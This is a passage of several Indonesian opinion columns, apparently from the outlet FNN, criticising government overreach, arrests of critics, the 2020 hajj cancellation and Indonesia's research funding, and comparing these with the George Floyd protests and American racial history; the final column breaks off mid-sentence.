Cebong dan kampret Amerika sama-sama unjukrasa. Mereka menyampaikan pesan bahwa kesewenangan tidak punya tempat di Amerika. Tidak punya tempat di kubu cebong maupun di kubu kampret. Kemarin, ada yang bertanya di grup: siapa elit yang berhasil menghimpun kekuatan sipil di AS. Saya jawab singkat: di AS atau Eropa, demo besar berhari-hari bisa terjadi tanpa ada pimpinannya. Tanpa ada koordinator. Dan tanpa biaya. Kok bisa? Karena setiap orang dipimpin oleh akal sehat masing-masing. Kesewengan terhadap siapa pun akan dijadikan musuh bersama. Mereka turun bersama tanpa atribut kelompok. Itulah hakikat akal sehat dalam berbangsa dan bernegara. Berbeda dengan akal sehat cebong di negeri kita ini. Bagi cebong di sini, semua kesewenangan yang dilakukan oleh para penguasa hukum, penguasa politik, penguasa ekonomi-bisnis, dan lain sebagainya, tidak akan pernah dilihat sebagai kesewenangan. Sebaliknya, para cebong akan menyebutnya sebagai “keadilan dan keberhasilan”. Bagi kubu cebong Indonesia, keadilan adalah “penindasan terhadap lawan politik”. Kubu cebong di sini memberikan dukungan dan tepuk tangan gemuruh terhadap kesewenangan aparat negara. Pastilah sikap seperti ini akan melembagakan permusuhan yang sengit. Dan mungkin juga menggoreskan dendam yang dalam. Bisa jadi tidak akan berkesudahan. Apalagi para penguasa sengaja memelihara konflik itu. Jadi, Indonesia memang sedang rusak berat. Akal sehat tidak dihiraukan. Implementasi prinsip demokrasi hari ini disesuaikan dengan kesewenangan para penguasa. Jangan harap Anda akan menyaksikan front bersama rakyat bipartisan yang akan menghasilkan kekuatan dahsyat melawan kesewenangan. Tak mungkin! Selagi kubu cebong belum waras. Tapi, lumayanlah, saat ini Anda bisa menonton cara kerja akal sehat di Amerika Serikat. Penulis adalah Wartawan Senior

Soal Penangkapan, Belajar dari Soekarno dan Soeharto

By M. Rizal Fadillah Jakarta FNN – Jum’at (05/06). Bagaimana bisa, hanya dengan bermodalkan pelaporan biasa dari seorang Aulia Fahmi, dapat ditindak lanjuti dengan penangkapan Ruslan Buton. Pelaksanaan penangkapan seperti menangkap seorang teroris. Ada Densus 88 segala. Bukan hanya tidak lazim, tetapi terlihat berlebihan. Juga berlebihan di luar hukum acara yang berlaku. Apalagi dengan cepat menetetapkan Ruslan Buton sebagai tersangka lagi. Ini domein hukum atau politik? Jika hukum tentu tidak seperti ini. Jika politik mungkin wajar. Harus diingat pula bahwa jika penangkapan Ruslan Buton, karena pertimbangan ranah politik, maka akan menghasilkan dan memproduksi sikap politik pula. Bisa berupa protes politik yang jauh lebih banyak dan besar. Polisi perlu belajar dari Presiden yang sudah-sudah bahwa memenjarakan dan membungkam sikap kritis bukan cara terbaik menyelesaikan masalah bangsa. Belajarlah pada Presiden Soekarno dan Soeharto. Berapa banyak tokoh masyarakat dan tokoh publik yang dijebloskan ke penjara oleh kedua penguasa ini? Tidak juga membuat sikap anak-anak bangsa yang selalu kritis terhadap kedua penguasa ini ciut atau surut. Sebaliknya, semakin menambah dan memproduksi kelompok-kelompok kritis di masyarakat. Belajar juga dari SBY yang bisa menyelesaikan masa pemerintahan selama sepuluh tahun. Kritik sekeras apapun dari kelompok kritis kepada SBY, ditanggapi dengan bijak dan elegan. Selasa sepuluh tahun berkuasa, tidak ada kelompok kritis di masyarakat yang dipernjarakan oleh SBY. Tanggal 15 Januari 2007, dalam rangka memperingati kejadian Malari 1974, dilakukan demonstrasi besar-besaran di bundaran Hotel Indonesia (HI) sampai depan Istana Negara. Temanya mencabut mandat rakyat yang diberikan kepada SBY-Jusus Kalla. Tidak ada satupun demonstran yang ditangkap atau dipenjarakan oleh pemerintah SBY. Pada Februari 2010, ada demontran yang membawa sapi gendut dan besar di bundaran HI. Sapi tersebut bertuliskan SiBuYa (SBY). Tulisan di sapi itu menggambarkan dan menyindir Presiden SBY yang gemuk besar, lambat bersikap, dan malas bekerja, sehingga negara tidak disurus dengan baik. Anehnya, tidak ada pendemo yang ditangkap dan dipernjarakan SBY. Sebaiknya, kebiasaan buruk penguasa untuk melakukan tindakan hukum dengan "meminjam" tangan pelapor harus dihentikan. Sebab kelompok kritis tidak mungkin bisa dibungkam dengan penangkapan dan penjara. Namun menjadi kultur buruk wajah hukum di Indonesia. Menjadi catatan sejarah kelam yang tak mudah dihapus. Akan selalu diingat dan dikenang sebagai penguasa yang anti terhadapa kritik dan kebebasan berpendapat. Dua hal yang mesti mendapat support publik. Pertama, memberikan dukungan pra-peradilan atas penetapan tersangka Ruslan Buton yang dilakukan oleh Pengacara. Pra-peradilan ini sebagai bentuk perlawanan hukum atas kesewenang-wenangan penguasa. Kedua, dukung pelaporan balik terhadap saksi pelapor Aulia Fahmi SH. Saksi pelapor perlu disidik, untuk mengetahui apa juga motif dari pelaporan yang dilakukan Aulia Fahmi? Apa krugian hhkum yang diderita oleh dari Aulia Fami? Apakah murni karena hukum, atau kepanjangan tangan politik. Seruan untuk penangkapan juga cukup berimbang. Mengingat urusannya lapor melapor antara pihak Ruslan Buton dengan Aulia Fahmi, maka pihak Kepolisian harus bersikap obyektif dalam menangani masalah hukum. Kontennya menjadi kepentingan kedua belah pihak. Jangan sampai berat di sebelah. Jika ada hubungan dengan negara, maka biasakan negara bertindak sendiri. Bukan dengan cara negara meminjam tangan masyarakat. Negara dapat menindak sendiri makar atau pemberontakan misalnya. Agar publik merasa yakin tidak terjadi proses kriminalisasi atau politisisasi. Andai pelapor yang dilaporkan balik juga sama-sama ditangkap, sebagaimana seruan yang muncul di media. Maka akan semakin jelas obyektivitas penanganan. Rakyat akan sangat percaya pada proses penegakkan hukum oleh penegak hukum. Bila aparat kepolisian selalu menggunakan tangan tangan "pelapor" hanya sebagai alat untuk melakukan proses penyelidikan dan penyidikan, maka independensi menjadi kabur. Publik meragukan kerja aparat penegak hukum. Kelak akan muncul figur "spesialis" pelaporan. Kasus pelaporan terhadap Said Didu oleh orang yang mengaitkan dengan pencemaran kepada Menko Luhut Binsar Panjaitan (LBP) adalah contoh buruk. Luhut yang mestinya melaporkan sendiri atas pencemaran nama baik dirinya. Menempatkan diri dalam kedudukan yang sama di depan hukum. Meskipun Luhut adalah seorang Menteri. Obyektivitas dalam penanganan hukum, seharusnya menjadi prioritas dari penegak hukum. Terutama pada situasi kebutuhan mendesak adanya stabilitas politik dan hukum. Apalagi ketika kepercayaan kepada Pemerintah sedang merosot. Penulis adalah Pemerhati Politik dan Hukum.

Seandainya George Floyd Itu Orang Indonesia

By Tony Rosyid Jakarta FNN – Kamis (04/06). Dunia tahu, George Floyd itu orang Amerika. Warga kulit hitam yang terbunuh oleh seorang polisi Amerika. Seluruh dunia menjadi geger. Demo terjadi tidak saja di hampir seluruh Amerika, tetapi juga di sejumlah negara Eropa. Satu nyawa melayang telah menghebohkan dunia. Tidak saja demo, penjarahan dan kerusuhan bahkan marak di sejumlah negara bagian Amerika. Rakyat Amerika marah. Masyarakat dunia juga marah. Mereka marah untuk membela Floyd. Dunia marah untuk melawan kedzaliman dan kesewenang-wenangan aparat negara. Mereka turun ke jalan untuk menuntut keadilan. Melihat fenomena Floyd ini, saya teringat Indonesia. Sebuah negara subur yang rakyatnya nggak pernah makmur. Di negara Pancasila ini harga nyawa tak semahal di Amerika. Banyak pembunuhan yang tidak terungkap. Banyak kematian misterius yang berlalu begitu saja. Penculikan dari satu rezim ke rezim yang lain, lewat begitu saja. Ada 894 petugas KPPS yang meninggal dunia. Seorang dokter coba mengusut, justru mendapat teror. Bahkan dianggap menebar berita bohong. Tragisnya lagi, terancam untuk diperkarakan. Mahasiswa dan demonstran mati. Namun tidak mudah untuk sekedar mengucapkan bela sungkawa. Apalagi sampai mau membela. Baru-baru ini, dua orang petani di Poso, Sulawesi Tengah ditembak mati saat lagi bakerja di kebun. Sebelumnya, ada dua orang yang juga ditembak mati di daerah yang sama. Sampai sekarang belum juga terusut. Padahal dua lagi sudah menyusul, mati ditembak. Nggak jelas juga. Apakah itu peluru resmi, atau selundupan? Baru bisa terungkap jika para pelaku tertangkap. Soal tangkap-menangkap, dinamikanya terkadang rumit. Bergantung siapa pelakunya yang mau ditangkap. Bergantung juga siapa yang mau menangkap. Tak jarang terjadi adu kuat dalam soal tangkap-menangkap. Harun Masiku adalah contoh yang belum bisa hilang dari memori rakyat negeri ini. Rumit sekali untuk menangkap Harus masiku. Coba saja kalau anda yang main suap, pasti gampang ketangkap. Di negeri ini, tampaknya tak semua pelaku pembunuhan bisa terungkap. Apalagi cuma teror seperti yang dialami oleh Prof. Dr. Ni'matul Huda, guru besar hukum tata negara Universitas Islam Indonesia (UII) Jogjakarta. Hal yang sama dialami empat orang dari kampus UGM yang berencana mengadakan seminar bertajuk "Persoalan Pemberhentian Presiden Di Era Pandemi Ditinjau Dari Sistem Ketatanegaraan". Dari cerita media, teror ini kelihatan sangat Terstruktur Sistematis dan Masip (TSM). Banyak yang menduga, teros di kampus UGM ini dilakukan oleh kelompok yang profesional. Namun siapa saja mereka? Sebaiknya kita tunggu kabar lagi dari aparat kepolisian. Kembali pada soal George Floyd. Dia beruntung, karena dia warga negara Amerika. Setidaknya, banyak yang belain dia. Coba saja, seandainya Floyd itu warga negara Indonesia, pasti lain ceritanya. Tak akan banyak yang peduli. Apalagi sampai turun ke jalan untuk membela. Bukan karena rakyat Indonesia nggak peka dan tak punya rasa kemanusia. Namun lebih karena rakyat yang takut. Banyak sekali peristiwa akhir-akhir ini yang membuat rakyat semakin takut. Paling-paling cuma berani "ngedumel" di medsos. Itupun sambil was-was. Seringkali terjadi para pembongkar kejahatan justru dilaporkan. Ujung-ujungnya malah dijebloskan ke dalam penjara. Tragis nasib mereka yang membongkar kejahatan. Karena memilih aman, banyak orang akhirnya diam melihat kejahatan terjadi di depan mata. Demi menjauh dari risiko. Sambil ngelus-ngelus dodo dan berbisik sendiri. Oh negeriku... Oh..bangsaku... Akibatnya, kedzaliman pun bebas beroperasi tanpa ada rasa takut. Apalagi kalau parlemen juga diam, atau malah ikut ambil bagian. Maka sempurna jadinya. Meminjam istilahnya Prof Din Syamsudin, disinilah kemungkaran terstruktur terjadi. Nasib Floyd beda dengan nasib para mahasiswa, demonstran, buruh dan petani di Indonesia. Kematian Floyd telah ditulis oleh sejarah bangsanya. Bahkan ditulis oleh sejarah dunia. Tak menutup kemungkinan menjadi trigger bagi perubahan sejarah dan peradaban negara Paman Syam itu. Tak mustahil Donald Trump, presiden Amerika pun bisa jatuh karena satu nyawa seorang kulit hitam bernama George Floyd. Melalui tulisan ini saya hanya ingin mengatakan bahwa demokrasi itu bisa tegak dan berarti jika satu suara rakyatnya dihargai. Apalagi satu nyawa. Satu nyawa di negara demokrasi sama harganya dengan nyawa seluruh anak bangsa tersebut. Bangsa yang tidak dapat menghargai nyawa rakyatnya adalah bangsa yang sulit untuk membangun peradabannya. Jika ada suatu bangsa mengaku penganut demokrasi, tapi tak menghargai nyawa manusia, maka bangsa itu adalah bangsa pendusta. Dan demokrasinya adalah demokrasi dusta juga. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Negara Kewirausahaan, Refleksi Pemulihan Ekonomi Indonesia

By Andi Rahmat Jakarta FNN – Kamis (04/05). Istilah negara kewirausahaan (Entreprenuerial State) diperkenalkan kali pertama oleh Mariana Mazzucatto, Profesor Ekonomi di University College of London, dalam bukunya yang berjudul sama. Dalam istilah Mariana, negara merupakan “key actors that has been an investor of first resort”. Dalam bukunya itu, Marianna membongkar apa yang disebutnya sebagai mitos tentang kontribusi pengusaha dan bisnis rintisan sebagai penggerak inovasi. Sebaliknya, inovasi merupakan proses kolektif, dimana institusi publik (baca : negara) memainkan peran yang sangat penting (Marianna Mazzucato, The Entreprenuerial State, Debunking Public vs Private Sector Myths, Anthem Press, 2013). Memahami fungsi penting negara (baca : Institusi Publik ) dalam inovasi, pemahaman Marianna akan membantu kita memahami mengapa penciptaan kekayaan (wealth creation) seringkali terdistribusi secara tidak tepat, atau dengan kata lain melalui mekanisme yang tidak pas (dysfunctional ways). Dengan mengutip Mazzucatto, saya sesungguhnya tidak sedang mengatakan bahwa negaralah yang paling determinan dalam menciptakan inovasi. Tetapi tulisan ini sebetulnya menghendaki dan mendorong agar negara mengambil peran yang lebih aktif dalam mendorong inovasi. Juga menciptakan talenta kewirausahaan. Ketimbang menganggap bahwa aktor swasta atau non-negara dibiarkan menjalankan fungsinya itu tanpa perlu peran aktif negara. Amerika Serikat dan China adalah dua contoh klasik dalam hal ini. Amerika memiliki Silicon Valley dan China memiliki Shenzen. Institusi publik di dua negara itu berperan besar dalam melapangkn jalan bagi inovasi. Negara seringkali merupakan garda terdepan pada pengembangan inovasi lanjutan. Internet merupakan contohnya yang menonjol. Pada mulanya dikembangkan sebagai sistem komunikasi di Departemen Pertahanan AS. Dalam pengembangan berikutnya, telah menjadi kenyataan hidup sehari-hari manusia. Alghoritma pencarian Google, pada mulanya dikembangkan dan dibiayai oleh Hibah dari National Science Foundation. GPS, aktivasi Suara merupakan teknologi yang mulanya dikembangkan dan dibiayai oleh Departemen Pertahanan AS. China pun demikian. Pengembangan Artificial Inteligent (AI), Mobil Listrik, Drone, Pengenalan Wajah (Face Recognition), Sistem Pembayaran Digital, Teknologi dan Infrastruktur 5G, Komputasi Kuantum , dan banyak yang lain. Semuanya memperoleh hibah dana dan difasilitasi langsung Institusi Publik China. Singapura mempelopori upaya luas dalam merangsang inovasi dan merubah wajah bisnis Singapura menjadi garda terdepan pengembangan bisnis berbasis teknologi maju. Global Talent Competitive Index (GTCI) menempatkan Singapura pada peringkat 2 dunia sebagai negara dengan ketersediaan talenta teknologi. Singapura telah berkembang menjadi pusat pengembangan bisnis cyber security dunia. Singapura adalah negara paling menarik untuk memulai bisnis inovatif dan berbasis teknologi. Pada tahun 2017, menurut lembaga pemeringkat “start up“ yang berbasis di Berlin, Nestpick, Singapura menjadi tempat terbaik untuk bisnis rintisan mengalahkan 80 negara lain, termasuk china dan Amerika. Peran negara dalam merangsang lahirnya inovasi, yang pada gilirannya membiakkan lahirnya kultur kewirausahaan sungguh sangat besar. Peran itu bersifat tradisional dan inheren dalam “negara”. Baik negara dalam pengertian “negara-bangsa” paska Westphalian maupun “ negara” sebelum Westphalian. Justin Mirozzi didalam bukunya yang cukup tebal, “Islamic Empires; Fifteen Cities That Define A Civilization” (Penguin, 2019), merekam peran kuat “negara” dan penguasa dalam merangsang inovasi. Juga menciptakan bisnis dan menumbuhkan peradaban. Mirozzi sendiri tidak secara khusus membicarakan konsep “negara kewirausahaan” didalam bukunya itu. Tetapi penceritaan terhadap kota-kota seperti, Baghdad, Isfahan, Cordoba, Fez, Damaskus menunjukkan kuatnya pengaruh penguasa dalam menumbuhkan kota, dan ekonomi aglomerasi berbasis inovasi yang berkembang pesat di kota-kota tersebut. Peran penting negara itu terletak pada keberpihakannya pada inovasi dan penumbuhan kultur kewirausahaan. Pada bidang inovasi, peran itu terletak pada keseriusan institusi publik untuk menginisiasi riset dan pengembangan teknologi berbasis sains aplikatif. Keseriusan itu terlihat pada alokasi anggaran dan keberanian negara mengambil resiko kegagalan dalam upaya inovatif. Dalam penumbuhan kultur kewirausahaan, peran negara itu terletak pada pemberian kesempatan yang seluas-luasnya kepada setiap warganya untuk melakukan kegiatan usaha. Kesempatan yang luas itu berupa penciptaan pasar usaha yang symetris, non monopolistik dan oligopolistic. Juga memerangi kartelisme dalam penguasaan kue ekonomi. Termasuk juga pada penyederhanaan regulasi dan hambatan usaha. Pada tingkat tertentu, perlu subsidi terhadap upaya inovatif bisnis rintisan yang bertujuan untuk merangsang pengambilan resiko dalam memulai bisnis.Catatan kami menunjukkan bahwa dalam dua peran penting negara inilah yang menjadi kelemahan fundamental kita selama ini. Unesco menyebutkan, alokasi riset tahun 2018 di Indonesia baru 0,3% dari total PDB. Jauh dibawah Korea, Jepang,Singapura dan China yang berada di atas 2% dari PDBnya. Menristekdikti menyebutkan peningkatan anggaran riset dari tahun 2016 ke tahun 2018 hanya berkisar 0,03% dari PDB. Pada tahun 2019, alokasi APBN terhadap riset berjumlah Rp. 35,7 trilliun, yang tersebar diberbagai institusi publik. Isu utamanya adalah upaya kreatif untuk menyambungkan alokasi anggaran riset itu pada penerapan aplikatifnya bagi sektor bisnis. Fokus yang memadai pada riset garda depan, yang berhubungan dengan pengembangan lanjut disektor bisnis membutuhkan keberpihakan negara. Kongkritnya, terutama dan pada tahap permulaan adalah dalam rangka pemenuhan kebutuhan institusi publik. Regulasi pemenuhan kebutuhan dalam negeri yang selama ini dianut, belum menempatkan riset dan pengembangan sebagai “champion” dalam pemenuhan lokal konten. Hal itu dapat dibuktikan dalam alokasi riset pengembangan yang masih minim, kalau tidak dikatakan tidak dipersyaratkan sama sekali, pada perencanaan kebutuhan institusi publik. Kementerian Risettek, yang merupakan garda terdepan pengembangan teknologi, untuk tahun 2020, hanya bisa mengalokasikan Rp 1,46 triliun untuk riset dan pengembangan. Ini saja sudah menunjukkan level keseriusan kita dalam mempersiapkan infrastruktur persaingan global Indonesia. Indonesia, ratio kewirausahaan barulah berkisar 7% dari total populasi. Jauh dibawah angka 14% yang menjadi “treshhold” dalam ratio kewirausahaan yang dianggap kompetitif. Dalam laporannya ditahun 2019, Global Talent Competitiveness Indeks ( GTCI ) menempatkan Indonesia pada pada posisi ke 67 dengan skor kompetitif kewirausahaan 38,61. Jauh di bawah Singapura yang berada diurutan kedua dengan skor 77,27, Australia diurutan 12, Malaysia diurutan 27, Brunei 36, Philipina 58 dan Thailand 66. Indeks GTCI mengukur talenta kewirausahaan suatu negara dan kota-kota dinegara tersebut. Didalam laporan yang sama, talenta kewirausahaan dianggap merupakan komponen kritis dari kemampuan kompetitif dan inovasi. Tetapi yang menggelisahkan, mengutip William Boumol, talenta kewirausahan terlalu sering disia-siakan. Juga semakin menderita disebabkan misalokasi massif yang disebabkan oleh lingkungan yang tidak efisien dan struktur organisasional yang tidak familiar dengan pengambilan resiko (GTCI 2019, Insead, 2019). Padahal, talenta kewirausahaan yang sesungguhnya merupakan kombinasi dari kreatifitas, inovasi, fleksibilitas. Adaptasi dan pengambilan resiko, merupakan kunci penentu dalam “global scramble for prosperity”, dimana keterampilan kewirausahaan makin langka dan gelombang tren perubahan yang semakin cepat dan ketat. Mengimplementasikan suatu konsepsi “entreprenuerial state “ menjadi suatu tantangan tersendiri bagi upaya pemulihan ekonomi. Diantara objektif yang seyogyanya terdefinisi secara nyata dalam kebijakan pemulihan ekonomi nasional adalah perbaikan rasio kewirausahaan Indonesia. Sudah selayaknya para pengambil kebijakan memasukkan ini dalam tujuan kebijakannya. Seperti yang pernah dilakukan, dan sekarang telah menjadi parameter baku dalam pembahasan Nota Keuangan Pemerintah setiap tahun. Tujuan pelaksanaan APBN dinyatakan dalam pencapaian target penurunan angka kemiskinan dan rasio penciptaan lapangan kerja. Target penumbuhan kewirausahaan juga selayaknya menjadi parameter penting dalam perencanan dan pelaksanaan APBN. Indonesia akan segera memasuki ledakan demografi. Oleh banyak pihak dianggap sebagai “masa emas” perekonomian suatu bangsa. Memasuki masa ini dengan berbekal rendahnya rangsangan inovatif dan rendahnya rasio kewirausahaan, tidak saja akan membuat kita tidak bisa mengambil manfaat besar. Kondisi ini juga akan membuat kita selamanya tidak bisa mencapai puncak performa yang diperlukan untuk melepaskan diri dari “middle income trap” dan menjadi negara maju. Bukan sekedar “emerging country”. Wallahu ‘alam bishawab. Penulis adalah Pelaku Usaha dan Mantan Wakil Ketua Komisi XI DPR RI.

Ibadah Haji Jadi Mainan Karena DPR Hanya Pajangan

By M. Rizal Fadillah Jakarta FNN – Kamis (04/06). Meski diduga ibadah haji akan tertunda tahun ini, namun pembatalan sepihak dari Kementerian Agama (Kemenag) cukup mengejutkan. Kali ini yang mereaksi keras, justru dari DPR-RI. Alasannya, pembatalan tanpa pembahasan bersama antara Pemerintah dengan Dewan. padahal agenda pertemuan telah dirancang. Kemenag mengambil keputusan "mendahului" pembahasan dengan dewan. Alasan pembenaran yang disampaikan ke publik, karena "diminta oleh Presiden". Jadi, penyebab pengambilan keputusan untuk pembatalan ibadah haji tahun ini adalah Presiden. Pemerintah diduga malah khawatir, jika nantinya Pemerintah Arab Saudi ternyata membuka pintu untuk dilaksanakannya ibadah haji tahun 1441 H ini. Tentu saja dengan keyakinan wabah covid 19 telah teratasi. Kekhawatiran ini dikaitkan pada persiapan atau penggunaan dana haji. Untuk itu, pemerintah mengusulkan agar penggunaan dana haji yang dari APBN dapat digeser dulu. Dialokasikan dulu untuk mengatasi wabah covid 19. Rencana ini telah disetujui oleh DPR, dengan catatan Pemerintah Arab Saudi memang menutup pelaksanaan ibadah haji. Tanpa menunggu kebijakan atau keputusan dari Pemerintah Arab Saudi, Kemenag telah mengumumkan pembatalan ibadah haji untuk tahun ini. Akibatnya Dewan meradang. Terkuaklah bahwa pembatalan ini merupakan permintaan dari Presiden. Ada prediksi, sesuai Perppu No. 1 tahun 2020 yang disetujui DPR menjadi UU No.2 tahun 2020, bahwa penggunaan dana APBN yang dikaitkan dengan penanggulangan Covid 19 tidak perlu mendapat persetujuan dari DPR. Juga tidak perlu dipertanggungjawabkan secara hukum. Timbul pertanyaan, adakah dana haji dari APBN sudah digunakan? Sehingga perlu keputusan sepihak dan tergesa-gesa dari Kemenag untuk membatalkan ibadah haji? Pertemuan Menteri Agama dengan Komisi VIII DPR RI semoga tidak hanya bersifat formalitas belaksa. Pertemuan yang tidak menjadikan pelaksanaan ibadah haji menjadi mainan semata. Keseriusan sangat dituntut. Apalagi sebagaimana Menag sampaikan bahwa pembatalan ini adalah permintaan Presiden. Artinya, Presidenlah yang bertanggung jawab. DPR menyebut sebagai pelanggaran Undang Undang. Haji kini menjadi obyek dari "fait accompli". Mau tidak mau, yang lain harus menyetujui. Sepertinya bakal menjadi kebiasaan Pemerintah dengan mengentengkan posisi Dewan. Beberapa Perppu adalah contoh. Demikian juga RUU yang baru ditetapkan menjadi undang-undang. Menteri Agama tidak cukup dengan meminta maaf karena nasib 200.000 calon jamaah haji yang sudah membayar lunas BPIH yang menjadi kewajiban mereka. Presiden harus diminta keterangan oleh Dewan. Apa alasan Presiden memerintahkan Menteri Agama membatalkan pelaksanaan ibadah haji tahun ini sebelum adanya keputusan rasmi dari pemerintah Arab Saudi? Meminta penjelasan Presiden tentang pembatalan pelasanaan ibadah haji tahun ini adalah bagian dari hak-hak yang dimiliki Dewan. Hak DPR yang diatur secara jelas dalam konstitusi UUD 1945. Penjelasan Presiden ini sekaligus untuk mempertanggungjawabkan kepada rakyat, khususnya calon jama'ah haji. Bahwa covid 19 itu merupakan penyebab semua dapat memaklumi. Akan tetapi kepastian hukum harus terklarifikasi dan terverifikasi. Jama'ah tidak boleh dirugikan. Dana jama'ah itu tidak boleh terganggu dengan alasan apapun. Dana itu sangat besar. Jumlahnya mencapai trilyunan rupiah. Negara tidak boleh mencari kesempatan dalam kesempitan. Urusan kepentingan rakyat, jangan sampai tumbal dari kebijakan pemerintah. Apalagi yang berkaitan dengan pelaksanaan ibadah wajib dalam hukum Islam. Pandemi corona jangan menjadi penghalal atas nama kedaruratan. Setelah Menag mengaku salah atas perintah Presiden, maka selanjutnya Presiden yang mesti dimintai pertanggungjawaban. Pertanyaan beratnya adalah, berani dan punya nyalikah DPR RI untuk melakukan itu kepada Presiden? Inilah keraguan terbesar dari sebagian besar rakyat Republik Indonesia saat ini. Penulis adalah Pemerhati Politik dan Keagamaan.

Muakanya Ketidakadilan, Amerika Dilanda Demonstrasi Besar

By Dr. Margarito Kamis, SH.M.Hum Setelah sekitar satu dekade kebebasan semu, kondisi serupa perbudakan dihidupkan kembali lewat perjanjian Utara-Selatan yang memungkinkan kriminalisasi secara efektif bagi orang kulit hitam. Lelaki kulit hitam yang berdiri disudut jalan bisa ditangkap karena menggelangdang atau karena percobaan perkosaan, jika dituding memandangi wanita kulit putih dengan cara yang salah. Dan sekali dipenjara, tipis sekali peluangnya bisa selamat dari sistem “perbudakan dengan nama lain” (Noam Choamsky) Jakarta FNN – Kamis (04/06). Muak, muak dan muak. Ini benar-benar menjadi kata terpilih yang paling tepat mewakili suasana hati demonstran Amerika sepanjang satu minggu ini, siang dan malam. Black Live Matter, No Justice, no peace, Justice for Floyd, Racism is enough menggema menyatukan demonstran, berkulit hitam dan putih. Benar-benar menarik. Demonstran berkulit hitam dan putih melebur dalam, bukan parade, tetapi demonstrasi. Praktis delapan hari ini setelah kematian George Floyd, pria kulit hitam itu, menjadi hari penuh olok-olok kehebatan demokrasi dan rule of law di Amerika. Demonstran itu membuka mata dunia agar tak terlalu bodoh membebek pada rule of law dan demokrasi Amerika. Dunia harus cermat mengenal canggihan demokrasi payah yang diekspor Amerika ke luar negeri. Demonstran menunjukan ada masalah besar dalam sistem hokum. Yang suka atau tidak, merupakan kristalisasi sosial politiknya. Rancangan Tidak Adil Republik bercitarasa imperial, mungkin harus dipertimbangkan untuk lebih sering disematkan pada negeri itu. Delapan hari yang lugas disepanjang jalan yang dilalui demonstran, jelas untuk konteks itu. Ketidakadilan sistemik telah mematikan, memeluk semua orang. Dan orang hitam muncul sebagai korban paling popular, dengan rasa sakit yang sangat pahit. Bisa dibayangkan bila pria kulit hitam menatap wanita kulit putih, entah apa namanya saja, bisa menjadi sebab berurusan dengan Polisi. Mau disebut apa sistem itu? Untuk alasan apapun, tidak dapat disebut tipikal demokrasi. Tidak. Ini lebih buruk dari abad orang-orang diperjual-belikan awal abad ke-17 dulu. Orang hitam memang bukan pribumi negeri itu. Orang Indianlah yang pribumi. Dimana mereka sekarang dan bagaimana orang hitam sampai di negeri harapan ini? Itu saja telah menjadi soal. Dan ini, menandai filsafat John Locke yang menginspirasi para pembuat UUD negeri itu hanya bekerja secara parsial. Perlakukan yang sepenuhnya sesuai tradisi Spanyol dan Inggris, kepada orang hitam, jelas. Mereka adalah barang, komoditi yang diprdagangakan. Begitu tradisi lama kedua negara ini. Spanyol dan Inggris – muncul dalam dunia perdagangan saat itu – awal abad ke-17- sebagai pedagang manusia. Orang-orang kulit Hitam dijadikan barang dagangan. Mereka diperdagangkan oleh korporasi-korporasi Spanyol dan Inggris. Perdagangan ini disetujui oleh raja-raja mereka. Itu menjadi sebab satu-satunya orang-orang kulit hitam berada di Amerika. Tidak lebih dari itu. Danisse Spillberg menulis, di tahun 1619, dua puluh budak tiba di Viriginia. Jumlah ini meningkat menjadi 120.156 jiwa. Siapa, korporasi apa yang leading dalam urusan ini, tidak dijelaskan oleh Deniese. Kajian ini justru muncul dalam perspektif analogis pada kajian Nathanael Kreimeyer. Kajian post graduate bidang sejarah pada Liberty University, yang Kreimeyer lakukan ditemukan Virginia Company sebagai pelopor. Mirip VOC di Indonesia, Virginia Company membentuk House of Burgeses pada tahun 1619, diisi oleh orang freeman and freeholder, ya ordinary atau nobleman. Sepanjang tahun 1607-1625 Virginia Company mengatur Virginia. Okupasi ini berakhir setelah kerajaan Inggris mengambil alih pada tahun 1625, dan memerintahnya hingga tahun 1776. Lalu bagaimana menjelaskan kenaikan jumlah budak di Amerika yang disebut Deniele? Lama setelah tahun-tahun, awal kejayaan Virginia Company, Royal African Campany memasuki perdagagan di Africa. Bermotif itu, Royal Afican Company (RAC), mendorong pembentukan An Act to the Settle Trade to Africa 1698. Studi Francis Horrigan, menunjukan dengan sangat tepat Royal African Comopany memperjualbelikan orang-orang hitam dari Afrika. Didatangkan sebagai barang. Bukan sebagai manusia, sehingga mengakibatkan mereka terus berstatus sebagai barang milik para tuan-tuan kebun. Status itu terus menandai mereka setelah Amerika beralih dari konfederasi ke Serikat tahun 1789. Mereka, jadinya tak terkonsep oleh Thomas Jefferson sekalipun sebagai manusia mulia. Gema kemuliaan hanya untuk orang kulit putih. George Washington dan Thomas Jefferson, dua pria Virginia yang menjadi Presiden pertama dan Ketiga Amerika, dalam identifikasi Deniese A. Spilberg pada buku Kontroversi Al-Qur’an Thomas Jefferson’s, juga memiliki budak kulit hitam. George Washington memiliki tidak kurang dari 300 budak. Thomas Jefferson memiliki budak sebanyak 187. Thomas Jefferson, pria penulis deklarasi kemerdekaan Amerika, dan sejumlah piagam hak asasi manusia itu, bukan tak berusaha menghentikan perdagangan buruk ini, tulis Deniese. Tetapi dia gagal. Menariknya, kedua orang ini berbeda lagi dalam kebijakan pribadinya terhadap budak. Washington, tulis Deniese selanjutnya, dalam wasiatnya memerdekakan semua budaknya. Bagaimana dengan Thomas Jefferson? Menurut Deniese Jefferson, pria yang memiliki dan mempelajari Al-Qur’an, dan mempelajari hukum Islam, khusus hukum Waris Islam untuk kepentingan pembelaannya, hanya memerdekakan tiga orang budak sepanjang hidupnya. Politik rasis ini memicu perang saudara, Utara-Selatan. Perang yang hempir saja membelah negara itu pada awal pertengahan abad 19. Pada tahun 1830-an, tulis Doktor Grier Stephen, pengajar Franklin and Marshal College, hukum-hukum menagar bagian mengatur syarat, untuk memiliki sejumlah harta untuk kulit putih lelaki bisa memilih, dihilangkan. Tetapi tidak untuk kaum kulit hitam. Kelak Amandemen konstitusi pada tahun 1865, setelah perang saudara berakhir, syarat kepemilikan harta yang semula hanya ditujukan pada kulit putih, diberlakukan juga unutk kulit hitam. Tetapi segera muncul syarat baru yang lain. Syarat baru ini mengakibatkan kulit hitam tak bisa memilih. Syarat itu adalah sebelum tanggal 1 januari 1868, pemilih harus menguikuti tes melek huruf untuk dirinya dan keturunannya. Grier menulis, syarat ini jelas mengakibatkan orang hitam tak bisa memilih. Diskriminasi kepada kulit hitam berlangsung terus hingga mendekati akhir abad ke-20. Memisahkan orang hitam dari putih secara fisik dalam banyak hal, itulah Amerika hingga akhir abad ke-20. Hakim-hakim Agung, termasuk Oliver Wendel Holmes, sering diterima dengan nada pujian di Indonesia sebagai juris top. Dia berada pada blok ini dalam memutus beberapa kasus tahun 1915. Holmes misalnya menolak argument McCabe yang memperkarakan Atchison, 